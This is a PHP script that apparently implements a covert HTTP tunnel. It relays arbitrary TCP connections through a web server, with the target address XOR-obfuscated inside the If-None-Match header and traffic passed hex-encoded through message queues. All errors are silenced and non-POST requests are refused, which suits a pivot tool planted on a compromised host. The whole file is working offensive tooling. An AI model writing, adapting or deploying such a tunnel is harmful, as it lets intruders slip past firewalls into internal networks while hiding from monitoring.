<?php

if ($_SERVER["REQUEST_METHOD"] != "POST") {
    header("HTTP/1.0 405 Method Not Allowed");
    exit;
}

//error_reporting(E_ALL);
//ini_set("display_errors", "1");
error_reporting(0);
ini_set("display_errors", "0");

// make sure ipc can get properly closed
ignore_user_abort(true);
set_time_limit(0);

// for destination de-obfuscation and integrity checking
define("SECRET_H", 0xabcdefab); // 64bit actually
define("SECRET_L", 0xcdefabcd);
define("SENTINEL", 0xb3e4);

// data limits
define("MSG_MAX", 1024);
define("MSG_TOUT", 30);


function ipc_open($key, $mode, &$res) {
    if ($mode == "r") {
        if (msg_queue_exists($key)) {
            //if (!msg_remove_queue($key)) {
                return false;
            //}
        }
        $res = msg_get_queue($key, 0600);
        return true;
    } else if ($mode == "w") {
        if (!msg_queue_exists($key)) {
            return false;
        }
        $res = msg_get_queue($key, 0600);
        return true;
    } else {
        return false;
    }
}

function ipc_close($res, $mode) {
    if ($mode == "r") {
        return msg_remove_queue($res);
    } else if ($mode == "w") {
        return true;
    } else {
        return false;
    }
}

function ipc_read($res, $tout, &$msg) {
    while (msg_stat_queue($res)["msg_qnum"] == 0) {
        if ($tout == 0) {
            return 0;
        }
        $tout--;
        sleep(1);
    }
    if (msg_receive($res, 0, $msgtype, MSG_MAX, $msg, false, MSG_IPC_NOWAIT) !== true) {
        return -1;
    }
    return 1;
}

function ipc_write($res, $tout, $msg) {
    if (strlen($msg) > MSG_MAX) {
        return -1;
    }
    while (true) {
        if (msg_send($res, 1, $msg, false, false, $errno) === true) {
            return 1;
        } else {
            if ($errno != MSG_EAGAIN) {
                return -1;
            } else if (!$tout) {
                return 0;
            } else {
                sleep(1);
                $tout--;
            }
        }
    }
}


function sock_write($res, $tout, $msg, $len) {
    if ($len > MSG_MAX) return -1;
    if (!$len) return 1;

    while (true) {
        $r = fwrite($res, $msg, $len);
        if ($r === false) {
            return -1;
        } else if ($r == $len) {
            return 1;
        } else if (!$tout) {
            return 0;
        } else {
            $len -= $r;
            $msg = substr($msg, $r);
            sleep(1);
            $tout--;
        }
    }
}


function deobfuscate_dst($s, &$addr, &$port) {
    if (strlen($s) != 16+16) {
        return false;
    }
    $nonce_h = hexdec(substr($s, 0, 8));
    $nonce_l = hexdec(substr($s, 8, 8));
    $addr_h = hexdec(substr($s, 16, 8)) ^ $nonce_h ^ SECRET_H;
    $addr_l = hexdec(substr($s, 24, 8)) ^ $nonce_l ^ SECRET_L;

    $sentinel = $addr_h >> 16;
    if ($sentinel != SENTINEL) return false;
    $port = $addr_h & 0x0000ffff;
    $addr = long2ip($addr_l);
    return true;
}


function set_cookie($val) {
    return $val.md5(
        $val."|".
        SECRET_H."|".SECRET_L."|".
        $_SERVER["REMOTE_ADDR"]."|".
        (array_key_exists("HTTP_X_FORWARDED_FOR", $_SERVER)? $_SERVER["HTTP_X_FORWARDED_FOR"]: "")
    );
}

function get_cookie($c) {
    $val = substr($c, 0, -32);
    return ($c == set_cookie($val))? $val: "";
}


if ($_GET["a"] == "bind") {

    // get and connect to destination
    if (deobfuscate_dst($_SERVER["HTTP_IF_NONE_MATCH"], $dst_addr, $dst_port)) {
        $fd = fsockopen($dst_addr, $dst_port, $errno, $errstr, MSG_TOUT/2);
        if ($fd) {
            stream_set_timeout($fd, MSG_TOUT);
            stream_set_blocking($fd, false);

            // choose session id, connect to its queue, and reply as cookie
            $ipc_key = ftok(__FILE__, chr(rand(32, 126)));
            if (ipc_open($ipc_key, "r", $q)) {
                setcookie("sid", set_cookie($ipc_key));

                // stream using chunked encoding
                if (ob_get_level() == 0) {
                    ob_start();
                }
                echo "##";
                ob_flush();
                flush();

                // read from ipc until done
                $msgbuf = "";
                while (!connection_aborted()) {
                    $msg = "";
                    $r = ipc_read($q, 1, $msg);
                    $msg = $msgbuf.$msg;
                    $msgbuf = "";
                    if ($r == -1) {
                        break;
                    }

                    // decode from hex and send to destination
                    if (!empty($msg)) {
                        if (strlen($msg) % 2 != 0) {
                            $msgbuf = substr($msg, -1);
                            $msg = substr($msg, 0, -1);
                        }
                        $r = sock_write($fd, MSG_TOUT, hex2bin($msg), strlen($msg)/2);
                        if ($r != 1) {
                            break;
                        }
                    }

                    // read from destination and flush it
                    $num = 0;
                    while ($num++ < 10) { // prefer downstream
                        $r = fread($fd, MSG_MAX);
                        if (empty($r)) {
                            $s = time();
                            if (feof($fd)) {
                                break 2;
                            } else if ($s < time() - MSG_TOUT) { // eof timeout bug
                                break 2;
                            }
                            if ($num == 1) {
                                echo "##"; // send noop for detecting connection abort
                                ob_flush();
                                flush();
                            }
                            break;
                        } else {
                            echo bin2hex($r);
                            ob_flush();
                            flush();
                        }
                    }
                }

                // done
                ob_end_flush();
                ipc_close($q, "r");
            }
            fclose($fd);
        }
    }


} else if ($_GET["a"] == "write") {


    // get id and connect to ipc
    $total = 0;
    $sess = get_cookie($_COOKIE["sid"]);
    if (!empty($sess) && ipc_open($sess, "w", $q)) {

        // read raw post data
        $fh = fopen("php://input", "r");
        if ($fh !== false) {
            while (!feof($fh)) {
                $in = fread($fh, MSG_MAX);
                if ($in === false) {
                    break;
                }

                // write to ipc
                if (ipc_write($q, MSG_TOUT, $in) != 1) { // need some sequence number checking?
                    break;
                }
                $total += strlen($in);
            }

            // done
            fclose($fh);
        }
        ipc_close($q, "w");
    }
    if (!array_key_exists("CONTENT_LENGTH", $_SERVER) || $total != $_SERVER["CONTENT_LENGTH"]) {
        header("HTTP/1.0 500 Internal Server Error");
    }
}

?>